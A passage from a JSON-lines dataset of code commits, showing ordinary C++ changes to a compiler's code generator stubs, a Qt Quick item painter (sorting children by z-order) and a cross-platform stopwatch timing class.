function_;\n  editor_ = nullptr;\n  function_ = nullptr;\n}\n\nvoid CodeGenerator::VisitNamespace(ast::Namespace* node) {\n  DCHECK(node);\n  NOTREACHED();\n}\n\nvoid CodeGenerator::VisitNamespaceBody(ast::NamespaceBody* node) {\n  node->AcceptForMembers(this);\n}\n\n\/\/ Expression nodes\nvoid CodeGenerator::VisitArrayType(ast::ArrayType* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitAssignment(ast::Assignment* assignment) {\n  DCHECK(assignment);\n}\n\nvoid CodeGenerator::VisitBinaryOperation(ast::BinaryOperation* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitCall(ast::Call* node) {\n  DCHECK(node);\n  auto const callee = semantics()->ValueOf(node->callee())->as<ir::Method>();\n  DCHECK(callee) << \"Unresolved call\" << *node;\n  auto const callee_type =\n      MapType(callee->signature())->as<hir::FunctionType>();\n  \/\/ TODO(eval1749) We should make 'call' instruction takes multiple\n  \/\/ operands.\n  auto const call_instr = hir::CallInstruction::New(\n      factory(), output_->type, callee_type->GetDefaultValue(),\n      MapType(PredefinedName::Void)->GetDefaultValue());\n  editor_->InsertBefore(call_instr, output_->instruction);\n  auto position = static_cast<int>(node->arguments().size());\n  auto arguments = node->arguments().rbegin();\n  while (position) {\n    auto const arg_type = callee_type->parameters_type();\n    ScopedOutput output_to_argument(this, arg_type, call_instr, position);\n    (*arguments)->Accept(this);\n    --position;\n    ++arguments;\n  }\n  ScopedOutput output_callee(this, callee_type, call_instr, 0);\n  node->callee()->Accept(this);\n}\n\nvoid CodeGenerator::VisitConditional(ast::Conditional* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitConstructedType(ast::ConstructedType* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitInvalidExpression(ast::InvalidExpression* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitLiteral(ast::Literal* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitMemberAccess(ast::MemberAccess* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitNameReference(ast::NameReference* node) {\n  DCHECK(node);\n  \/\/ TODO(eval1749) We need to have\n  \/\/ |NameResolver::GetReference(ast::Expression*)|.\n}\n\nvoid CodeGenerator::VisitUnaryOperation(ast::UnaryOperation* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitVariableReference(ast::VariableReference* node) {\n  DCHECK(node);\n}\n\n\/\/ Statement nodes\nvoid CodeGenerator::VisitBlockStatement(ast::BlockStatement* node) {\n  for (auto const statement : node->statements()) {\n    if (statement == node->statements().back()) {\n      statement->Accept(this);\n      break;\n    }\n    \/\/ Interleaved statement has no output.\n    ScopedOutput scoped_output(this, output_->instruction);\n    statement->Accept(this);\n    if (statement->IsTerminator()) {\n      \/\/ TODO(eval1749) Since, we may have labeled statement, we should continue\n      \/\/ checking |statement|.\n      break;\n    }\n  }\n}\n\nvoid CodeGenerator::VisitBreakStatement(ast::BreakStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitDoStatement(ast::DoStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitContinueStatement(ast::ContinueStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitEmptyStatement(ast::EmptyStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitExpressionStatement(ast::ExpressionStatement* node) {\n  node->expression()->Accept(this);\n}\n\nvoid CodeGenerator::VisitExpressionList(ast::ExpressionList* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitForEachStatement(ast::ForEachStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitForStatement(ast::ForStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitIfStatement(ast::IfStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitInvalidStatement(ast::InvalidStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitReturnStatement(ast::ReturnStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitThrowStatement(ast::ThrowStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitTryStatement(ast::TryStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitUsingStatement(ast::UsingStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitVarStatement(ast::VarStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitWhileStatement(ast::WhileStatement* node) {\n  DCHECK(node);\n}\n\nvoid CodeGenerator::VisitYieldStatement(ast::YieldStatement* node) {\n  DCHECK(node);\n}\n\n}  \/\/ namespace compiler\n}  \/\/ namespace elang\n<|endoftext|>"}
{"text":"<commit_before>#include \"QuickItemPainter.h\"\n\n#include <QAbstractTextDocumentLayout>\n#include <QPainter>\n#include <QQuickItem>\n#include <QQuickWindow>\n#include <QTextDocument>\n\n#include \"StyledText.h\"\n\nQuickItemPainter::QuickItemPainter(QPainter* _painter, QQuickWindow* _window) : m_painter(_painter), m_window(_window)\n{\n}\n\nnamespace {\n  bool inherits(const QMetaObject* _metaObject, const QString& _name)\n  {\n    if(_metaObject->className() == _name)\n    {\n      return true;\n    } else if(_metaObject->superClass()) {\n      return inherits(_metaObject->superClass(), _name);\n    } else {\n      return false;\n    }\n  }\n}\n\nvoid QuickItemPainter::paintQuickRectangle(QQuickItem* _item)\n{\n  \/\/ Print rectangle\n  const QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect(); \/\/ TODO should it be set on the QPainter ?\n  const QColor color = _item->property(\"color\").value<QColor>();\n  const QObject* border = _item->property(\"border\").value<QObject*>();\n  const qreal border_width = border->property(\"width\").value<qreal>();\n  const QColor border_color = border->property(\"color\").value<QColor>();\n  const qreal radius = _item->property(\"radius\").value<qreal>();\n\n  m_painter->setBrush(color);\n\n  if(border_width > 0 and not (border_width == 1 and border_color == QColor(Qt::black))) \/\/ FIXME this is wrong, but there is no other clean way to detect if a border is valid or not\n  {\n    m_painter->setPen(QPen(border_color, border_width));\n  } else {\n    m_painter->setPen(Qt::NoPen);\n  }\n\n  if(radius > 0)\n  {\n    m_painter->drawRoundedRect(rect, radius, radius);\n  } else {\n    m_painter->drawRect(rect);\n  }\n\n}\n\nvoid QuickItemPainter::paintQuickText(QQuickItem* _item)\n{\n  const QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect(); \/\/ TODO should it be set on the QPainter ?\n  const QFont font = _item->property(\"font\").value<QFont>();\n  const QString text = _item->property(\"text\").value<QString>();\n  const QColor color = _item->property(\"color\").value<QColor>();\n  const int wrapMode = _item->property(\"wrapMode\").value<int>();\n  int textFormat = _item->property(\"textFormat\").value<int>();\n  const int horizontalAlignment = _item->property(\"horizontalAlignment\").value<int>();\n  const int verticalAlignment   = _item->property(\"verticalAlignment\").value<int>();\n\n  QTextOption textOption;\n  textOption.setWrapMode(QTextOption::WrapMode(wrapMode));\n  textOption.setAlignment((Qt::Alignment)(horizontalAlignment | verticalAlignment));\n\n  if(textFormat == Qt::AutoText) \/* Text.AutoText *\/\n  {\n    textFormat = Qt::mightBeRichText(text) ? 4 : Qt::PlainText;\n  }\n\n  switch (textFormat)\n  {\n  case Qt::PlainText: \/\/ Text.PlainText\n    {\n      m_painter->setFont(font);\n      m_painter->setPen(color);\n      m_painter->drawText(rect, text, textOption);\n    }\n    break;\n  default:\n  case 4: \/\/ Text.StyledText\n    {\n      bool fontModified;\n      QTextLayout textLayout;\n      textLayout.setFont(font);\n      textLayout.setTextOption(textOption);\n      QTextCharFormat defaultFormat;\n      defaultFormat.setForeground(color);\n\n      QList<StyledTextImgTag*> tags;\n      StyledText::parse(text, textLayout, tags, QUrl(), qmlContext(_item), true, &fontModified, defaultFormat);\n\n\n      textLayout.beginLayout();\n      int height = 0;\n      const int leading = 0;\n      while (1) {\n          QTextLine line = textLayout.createLine();\n          if (!line.isValid())\n              break;\n\n          line.setLineWidth(_item->width());\n          height += leading;\n          line.setPosition(QPointF(0, height));\n          height += line.height();\n      }\n      textLayout.endLayout();\n\n      m_painter->setRenderHint(QPainter::Antialiasing, true);\n      textLayout.draw(m_painter, rect.topLeft());\n    }\n    break;\n  case Qt::RichText: \/\/ Text.RichText\n    {\n      QTextDocument doc;\n      doc.setTextWidth(rect.width());\n      doc.setDefaultTextOption(textOption);\n      doc.setDefaultFont(font);\n\n      doc.setHtml(text);\n\n      QAbstractTextDocumentLayout::PaintContext context;\n\n      context.palette.setColor(QPalette::Text, color);\n\n      QAbstractTextDocumentLayout *layout = doc.documentLayout();\n      m_painter->translate(rect.topLeft());\n      m_painter->setRenderHint(QPainter::Antialiasing, true);\n      layout->draw(m_painter, context);\n    }\n    break;\n  }\n}\n\nvoid QuickItemPainter::paintQuickImage(QQuickItem* _item)\n{\n  const QUrl url = _item->property(\"source\").value<QUrl>();\n  const int fillMode = _item->property(\"fillMode\").value<int>();\n\n  QImage image(url.toLocalFile());\n\n  QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect(); \/\/ TODO should it be set on the QPainter ?\n  QRect sourceRect(0, 0, image.width(), image.height());\n\n  switch(fillMode)\n  {\n  default:\n    qWarning() << \"QuickItemPainter::paintQuickImage unimplemented fill mode: \" << fillMode;\n  case 0: \/\/ Image.Stretch\n    break;\n  case 1: \/\/ Image.PreserveAspectFit\n    {\n      QSize size = sourceRect.size();\n      size.scale(rect.width(), rect.height(), Qt::KeepAspectRatio);\n      break;\n    }\n  case 6: \/\/ Image.Pad\n    {\n      if(sourceRect.width() > rect.width())\n      {\n        rect.setWidth(sourceRect.width());\n      } else {\n        sourceRect.setWidth(rect.width());\n      }\n      if(sourceRect.height() > rect.height())\n      {\n        rect.setHeight(sourceRect.height());\n      } else {\n        sourceRect.setHeight(rect.height());\n      }\n      break;\n    }\n  }\n  m_painter->drawImage(rect, image, sourceRect);\n}\n\nvoid QuickItemPainter::paintItem(QQuickItem* _item)\n{\n  if(_item->opacity() == 0.0) return;\n  if(_item->flags().testFlag(QQuickItem::ItemHasContents))\n  {\n    m_painter->save();\n    if(_item->clip())\n    {\n      m_painter->setClipping(true);\n      m_painter->setClipRect(_item->clipRect());\n    }\n    if(inherits(_item->metaObject(), \"QQuickRectangle\"))\n    {\n      paintQuickRectangle(_item);\n    } else if(inherits(_item->metaObject(), \"QQuickText\"))\n    {\n      paintQuickText(_item);\n    } else if(inherits(_item->metaObject(), \"QQuickImage\"))\n    {\n      paintQuickImage(_item);\n    } else {\n      \/\/ Fallback\n      qWarning() << \"No QuickItemPainter::paintItem implementation for \" << _item << \" fallback to image grab\";\n      QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect();\n      QImage image = m_window->grabWindow();\n      m_painter->drawImage(rect.x(), rect.y(), image, rect.x(), rect.y(), rect.width(), rect.height());\n    }\n    m_painter->restore();\n  }\n  foreach(QQuickItem* child, _item->childItems()) \/\/ TODO reorder to take into account z-order\n  {\n    if(child and child->isVisible())\n    {\n      paintItem(child);\n    }\n  }\n}\n<commit_msg>print children in function of their z-order<commit_after>#include \"QuickItemPainter.h\"\n\n#include <QAbstractTextDocumentLayout>\n#include <QPainter>\n#include <QQuickItem>\n#include <QQuickWindow>\n#include <QTextDocument>\n\n#include \"StyledText.h\"\n\nQuickItemPainter::QuickItemPainter(QPainter* _painter, QQuickWindow* _window) : m_painter(_painter), m_window(_window)\n{\n}\n\nnamespace {\n  bool inherits(const QMetaObject* _metaObject, const QString& _name)\n  {\n    if(_metaObject->className() == _name)\n    {\n      return true;\n    } else if(_metaObject->superClass()) {\n      return inherits(_metaObject->superClass(), _name);\n    } else {\n      return false;\n    }\n  }\n}\n\nvoid QuickItemPainter::paintQuickRectangle(QQuickItem* _item)\n{\n  \/\/ Print rectangle\n  const QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect(); \/\/ TODO should it be set on the QPainter ?\n  const QColor color = _item->property(\"color\").value<QColor>();\n  const QObject* border = _item->property(\"border\").value<QObject*>();\n  const qreal border_width = border->property(\"width\").value<qreal>();\n  const QColor border_color = border->property(\"color\").value<QColor>();\n  const qreal radius = _item->property(\"radius\").value<qreal>();\n\n  m_painter->setBrush(color);\n\n  if(border_width > 0 and not (border_width == 1 and border_color == QColor(Qt::black))) \/\/ FIXME this is wrong, but there is no other clean way to detect if a border is valid or not\n  {\n    m_painter->setPen(QPen(border_color, border_width));\n  } else {\n    m_painter->setPen(Qt::NoPen);\n  }\n\n  if(radius > 0)\n  {\n    m_painter->drawRoundedRect(rect, radius, radius);\n  } else {\n    m_painter->drawRect(rect);\n  }\n\n}\n\nvoid QuickItemPainter::paintQuickText(QQuickItem* _item)\n{\n  const QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect(); \/\/ TODO should it be set on the QPainter ?\n  const QFont font = _item->property(\"font\").value<QFont>();\n  const QString text = _item->property(\"text\").value<QString>();\n  const QColor color = _item->property(\"color\").value<QColor>();\n  const int wrapMode = _item->property(\"wrapMode\").value<int>();\n  int textFormat = _item->property(\"textFormat\").value<int>();\n  const int horizontalAlignment = _item->property(\"horizontalAlignment\").value<int>();\n  const int verticalAlignment   = _item->property(\"verticalAlignment\").value<int>();\n\n  QTextOption textOption;\n  textOption.setWrapMode(QTextOption::WrapMode(wrapMode));\n  textOption.setAlignment((Qt::Alignment)(horizontalAlignment | verticalAlignment));\n\n  if(textFormat == Qt::AutoText) \/* Text.AutoText *\/\n  {\n    textFormat = Qt::mightBeRichText(text) ? 4 : Qt::PlainText;\n  }\n\n  switch (textFormat)\n  {\n  case Qt::PlainText: \/\/ Text.PlainText\n    {\n      m_painter->setFont(font);\n      m_painter->setPen(color);\n      m_painter->drawText(rect, text, textOption);\n    }\n    break;\n  default:\n  case 4: \/\/ Text.StyledText\n    {\n      bool fontModified;\n      QTextLayout textLayout;\n      textLayout.setFont(font);\n      textLayout.setTextOption(textOption);\n      QTextCharFormat defaultFormat;\n      defaultFormat.setForeground(color);\n\n      QList<StyledTextImgTag*> tags;\n      StyledText::parse(text, textLayout, tags, QUrl(), qmlContext(_item), true, &fontModified, defaultFormat);\n\n\n      textLayout.beginLayout();\n      int height = 0;\n      const int leading = 0;\n      while (1) {\n          QTextLine line = textLayout.createLine();\n          if (!line.isValid())\n              break;\n\n          line.setLineWidth(_item->width());\n          height += leading;\n          line.setPosition(QPointF(0, height));\n          height += line.height();\n      }\n      textLayout.endLayout();\n\n      m_painter->setRenderHint(QPainter::Antialiasing, true);\n      textLayout.draw(m_painter, rect.topLeft());\n    }\n    break;\n  case Qt::RichText: \/\/ Text.RichText\n    {\n      QTextDocument doc;\n      doc.setTextWidth(rect.width());\n      doc.setDefaultTextOption(textOption);\n      doc.setDefaultFont(font);\n\n      doc.setHtml(text);\n\n      QAbstractTextDocumentLayout::PaintContext context;\n\n      context.palette.setColor(QPalette::Text, color);\n\n      QAbstractTextDocumentLayout *layout = doc.documentLayout();\n      m_painter->translate(rect.topLeft());\n      m_painter->setRenderHint(QPainter::Antialiasing, true);\n      layout->draw(m_painter, context);\n    }\n    break;\n  }\n}\n\nvoid QuickItemPainter::paintQuickImage(QQuickItem* _item)\n{\n  const QUrl url = _item->property(\"source\").value<QUrl>();\n  const int fillMode = _item->property(\"fillMode\").value<int>();\n\n  QImage image(url.toLocalFile());\n\n  QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect(); \/\/ TODO should it be set on the QPainter ?\n  QRect sourceRect(0, 0, image.width(), image.height());\n\n  switch(fillMode)\n  {\n  default:\n    qWarning() << \"QuickItemPainter::paintQuickImage unimplemented fill mode: \" << fillMode;\n  case 0: \/\/ Image.Stretch\n    break;\n  case 1: \/\/ Image.PreserveAspectFit\n    {\n      QSize size = sourceRect.size();\n      size.scale(rect.width(), rect.height(), Qt::KeepAspectRatio);\n      break;\n    }\n  case 6: \/\/ Image.Pad\n    {\n      if(sourceRect.width() > rect.width())\n      {\n        rect.setWidth(sourceRect.width());\n      } else {\n        sourceRect.setWidth(rect.width());\n      }\n      if(sourceRect.height() > rect.height())\n      {\n        rect.setHeight(sourceRect.height());\n      } else {\n        sourceRect.setHeight(rect.height());\n      }\n      break;\n    }\n  }\n  m_painter->drawImage(rect, image, sourceRect);\n}\n\nvoid QuickItemPainter::paintItem(QQuickItem* _item)\n{\n  if(_item->opacity() == 0.0) return;\n  if(_item->flags().testFlag(QQuickItem::ItemHasContents))\n  {\n    m_painter->save();\n    if(_item->clip())\n    {\n      m_painter->setClipping(true);\n      m_painter->setClipRect(_item->clipRect());\n    }\n    if(inherits(_item->metaObject(), \"QQuickRectangle\"))\n    {\n      paintQuickRectangle(_item);\n    } else if(inherits(_item->metaObject(), \"QQuickText\"))\n    {\n      paintQuickText(_item);\n    } else if(inherits(_item->metaObject(), \"QQuickImage\"))\n    {\n      paintQuickImage(_item);\n    } else {\n      \/\/ Fallback\n      qWarning() << \"No QuickItemPainter::paintItem implementation for \" << _item << \" fallback to image grab\";\n      QRect rect = _item->mapRectToScene(_item->boundingRect()).toRect();\n      QImage image = m_window->grabWindow();\n      m_painter->drawImage(rect.x(), rect.y(), image, rect.x(), rect.y(), rect.width(), rect.height());\n    }\n    m_painter->restore();\n  }\n  QList<QQuickItem*> children = _item->childItems();\n  std::stable_sort(children.begin(), children.end(), ZCompare());\n  foreach(QQuickItem* child, children) \/\/ TODO reorder to take into account z-order\n  {\n    if(child and child->isVisible())\n    {\n      paintItem(child);\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *   CrissCross\n *   A multi-purpose cross-platform library.\n *\n *   A product of Uplink Laboratories.\n *\n *   (c) 2006-2010 Steven Noonan.\n *   Licensed under the New BSD License.\n *\n *\/\n\n#include <crisscross\/universal_include.h>\n#include <crisscross\/stopwatch.h>\n\n#if defined (TARGET_OS_MACOSX)\n#include <mach\/mach.h>\n#include <mach\/mach_time.h>\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_NDSFIRMWARE)\n#include <sys\/time.h>\n#include <time.h>\n#elif defined (TARGET_OS_WINDOWS)\n#include <windows.h>\n#endif\n\nnamespace CrissCross\n{\n\tnamespace System\n\t{\n\t\tstruct StopwatchImpl {\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tLARGE_INTEGER m_start, m_finish;\n\t\t\tdouble m_tickInterval;\n\n\t\t\tvoid RecalculateFrequency();\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tuint64_t m_start;\n\t\t\tuint64_t m_finish;\n\t\t\tmach_timebase_info_data_t m_timebase;\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\tstruct timeval m_start;\n\t\t\tstruct timeval m_finish;\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\t\/* Nothing here :) *\/\n#else\n#error No target OS defined (did you forget to include crisscross\/universal_include.h?)\n#endif\n\t\t};\n\t\tStopwatch::Stopwatch()\n\t\t{\n\t\t\tm_impl = new StopwatchImpl;\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tm_impl->RecalculateFrequency();\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tmach_timebase_info(&m_timebase);\n#endif\n\n\t\t\t\/* We start it here for static Stopwatch instances *\/\n\t\t\t\/* where it's impractical to do an initial Start() call *\/\n\t\t\tStart();\n\t\t}\n\n\t\tStopwatch::~Stopwatch()\n\t\t{\n\t\t\tdelete m_impl;\n\t\t}\n\n\t\tvoid Stopwatch::Start()\n\t\t{\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tm_impl->RecalculateFrequency();\n\t\t\tQueryPerformanceCounter(&m_impl->m_start);\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tm_impl->m_start = mach_absolute_time();\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\tgettimeofday(&m_impl->m_start, NULL);\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\tTIMER0_CR = 0;\n\t\t\tTIMER1_CR = 0;\n\t\t\tTIMER0_DATA = 0;\n\t\t\tTIMER1_DATA = 0;\n\t\t\tTIMER1_CR = TIMER_ENABLE | TIMER_CASCADE;\n\t\t\tTIMER0_CR = TIMER_ENABLE | TIMER_DIV_1;\n#endif\n\t\t}\n\n\t\tvoid Stopwatch::Stop()\n\t\t{\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tQueryPerformanceCounter(&m_impl->m_finish);\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tm_impl->m_finish = mach_absolute_time();\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\tgettimeofday(&m_impl->m_finish, NULL);\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\tTIMER0_CR = 0;\n#endif\n\t\t}\n\n#if defined (TARGET_OS_WINDOWS)\n\t\tvoid StopwatchImpl::RecalculateFrequency()\n\t\t{\n\t\t\tCoreAssert(this != NULL);\n\n\t\t\tLARGE_INTEGER freq;\n\t\t\tQueryPerformanceFrequency(&freq);\n\t\t\tm_tickInterval = 1.0 \/ (double)freq.QuadPart;\n\t\t}\n#endif\n\n\t\tdouble Stopwatch::Elapsed()\n\t\t{\n\t\t\tCoreAssert(this != NULL);\n\n#if defined (TARGET_OS_WINDOWS)\n\t\t\treturn ((double)m_impl->m_finish.QuadPart - (double)m_impl->m_start.QuadPart) * m_impl->m_tickInterval;\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tuint64_t elapsed = m_impl->m_finish - m_impl->m_start;\n\t\t\treturn double (elapsed) * (m_impl->m_timebase.numer \/ m_impl->m_timebase.denom) \/ 1000000000.0;\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\treturn (double)(m_impl->m_finish.tv_sec - m_impl->m_start.tv_sec) +\n\t\t\t       ((double)(m_impl->m_finish.tv_usec) - (double)(m_impl->m_start.tv_usec)) \/ 1000000.0;\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\treturn (TIMER0_DATA | (TIMER1_DATA << 16)) \/ 33513982.0;\n#endif\n\t\t}\n\n\t\tunsigned long Stopwatch::ElapsedMS()\n\t\t{\n\t\t\tCoreAssert(this != NULL);\n\n#if defined (TARGET_OS_WINDOWS)\n\t\t\treturn (unsigned long)(((double)m_impl->m_finish.QuadPart - (double)m_impl->m_start.QuadPart) * m_impl->m_tickInterval * 1000.0);\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tuint64_t elapsed = m_impl->m_finish - m_impl->m_start;\n\t\t\treturn double (elapsed) * (m_impl->m_timebase.numer \/ m_impl->m_timebase.denom) \/ 1000000.0;\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\treturn (unsigned long)((m_impl->m_finish.tv_sec - m_impl->m_start.tv_sec) * 1000 +\n\t\t\t                       (m_impl->m_finish.tv_usec - m_impl->m_start.tv_usec) \/ 1000);\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\treturn (TIMER0_DATA | (TIMER1_DATA << 16)) \/ 33514;\n#endif\n\t\t}\n\t}\n}\n<commit_msg>stopwatch: fix incorrect reference to m_timebase<commit_after>\/*\n *   CrissCross\n *   A multi-purpose cross-platform library.\n *\n *   A product of Uplink Laboratories.\n *\n *   (c) 2006-2010 Steven Noonan.\n *   Licensed under the New BSD License.\n *\n *\/\n\n#include <crisscross\/universal_include.h>\n#include <crisscross\/stopwatch.h>\n\n#if defined (TARGET_OS_MACOSX)\n#include <mach\/mach.h>\n#include <mach\/mach_time.h>\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_NDSFIRMWARE)\n#include <sys\/time.h>\n#include <time.h>\n#elif defined (TARGET_OS_WINDOWS)\n#include <windows.h>\n#endif\n\nnamespace CrissCross\n{\n\tnamespace System\n\t{\n\t\tstruct StopwatchImpl {\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tLARGE_INTEGER m_start, m_finish;\n\t\t\tdouble m_tickInterval;\n\n\t\t\tvoid RecalculateFrequency();\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tuint64_t m_start;\n\t\t\tuint64_t m_finish;\n\t\t\tmach_timebase_info_data_t m_timebase;\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\tstruct timeval m_start;\n\t\t\tstruct timeval m_finish;\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\t\/* Nothing here :) *\/\n#else\n#error No target OS defined (did you forget to include crisscross\/universal_include.h?)\n#endif\n\t\t};\n\t\tStopwatch::Stopwatch()\n\t\t{\n\t\t\tm_impl = new StopwatchImpl;\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tm_impl->RecalculateFrequency();\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tmach_timebase_info(&m_impl->m_timebase);\n#endif\n\n\t\t\t\/* We start it here for static Stopwatch instances *\/\n\t\t\t\/* where it's impractical to do an initial Start() call *\/\n\t\t\tStart();\n\t\t}\n\n\t\tStopwatch::~Stopwatch()\n\t\t{\n\t\t\tdelete m_impl;\n\t\t}\n\n\t\tvoid Stopwatch::Start()\n\t\t{\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tm_impl->RecalculateFrequency();\n\t\t\tQueryPerformanceCounter(&m_impl->m_start);\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tm_impl->m_start = mach_absolute_time();\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\tgettimeofday(&m_impl->m_start, NULL);\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\tTIMER0_CR = 0;\n\t\t\tTIMER1_CR = 0;\n\t\t\tTIMER0_DATA = 0;\n\t\t\tTIMER1_DATA = 0;\n\t\t\tTIMER1_CR = TIMER_ENABLE | TIMER_CASCADE;\n\t\t\tTIMER0_CR = TIMER_ENABLE | TIMER_DIV_1;\n#endif\n\t\t}\n\n\t\tvoid Stopwatch::Stop()\n\t\t{\n#if defined (TARGET_OS_WINDOWS)\n\t\t\tQueryPerformanceCounter(&m_impl->m_finish);\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tm_impl->m_finish = mach_absolute_time();\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\tgettimeofday(&m_impl->m_finish, NULL);\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\tTIMER0_CR = 0;\n#endif\n\t\t}\n\n#if defined (TARGET_OS_WINDOWS)\n\t\tvoid StopwatchImpl::RecalculateFrequency()\n\t\t{\n\t\t\tCoreAssert(this != NULL);\n\n\t\t\tLARGE_INTEGER freq;\n\t\t\tQueryPerformanceFrequency(&freq);\n\t\t\tm_tickInterval = 1.0 \/ (double)freq.QuadPart;\n\t\t}\n#endif\n\n\t\tdouble Stopwatch::Elapsed()\n\t\t{\n\t\t\tCoreAssert(this != NULL);\n\n#if defined (TARGET_OS_WINDOWS)\n\t\t\treturn ((double)m_impl->m_finish.QuadPart - (double)m_impl->m_start.QuadPart) * m_impl->m_tickInterval;\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tuint64_t elapsed = m_impl->m_finish - m_impl->m_start;\n\t\t\treturn double (elapsed) * (m_impl->m_timebase.numer \/ m_impl->m_timebase.denom) \/ 1000000000.0;\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\treturn (double)(m_impl->m_finish.tv_sec - m_impl->m_start.tv_sec) +\n\t\t\t       ((double)(m_impl->m_finish.tv_usec) - (double)(m_impl->m_start.tv_usec)) \/ 1000000.0;\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\treturn (TIMER0_DATA | (TIMER1_DATA << 16)) \/ 33513982.0;\n#endif\n\t\t}\n\n\t\tunsigned long Stopwatch::ElapsedMS()\n\t\t{\n\t\t\tCoreAssert(this != NULL);\n\n#if defined (TARGET_OS_WINDOWS)\n\t\t\treturn (unsigned long)(((double)m_impl->m_finish.QuadPart - (double)m_impl->m_start.QuadPart) * m_impl->m_tickInterval * 1000.0);\n#elif defined (TARGET_OS_MACOSX)\n\t\t\tuint64_t elapsed = m_impl->m_finish - m_impl->m_start;\n\t\t\treturn double (elapsed) * (m_impl->m_timebase.numer \/ m_impl->m_timebase.denom) \/ 1000000.0;\n#elif defined (TARGET_OS_LINUX) || defined (TARGET_OS_FREEBSD) || \\\n\t\t\tdefined (TARGET_OS_NETBSD) || defined (TARGET_OS_OPENBSD)\n\t\t\treturn (unsigned long)((m_impl->m_finish.tv_sec - m_impl->m_start.tv_sec) * 1000 +\n\t\t\t                       (m_impl->m_finish.tv_usec - m_impl->m_start.tv_usec) \/ 1000);\n#elif defined (TARGET_OS_NDSFIRMWARE)\n\t\t\treturn (TIMER0_DATA | (TIMER1_DATA << 16)) \/ 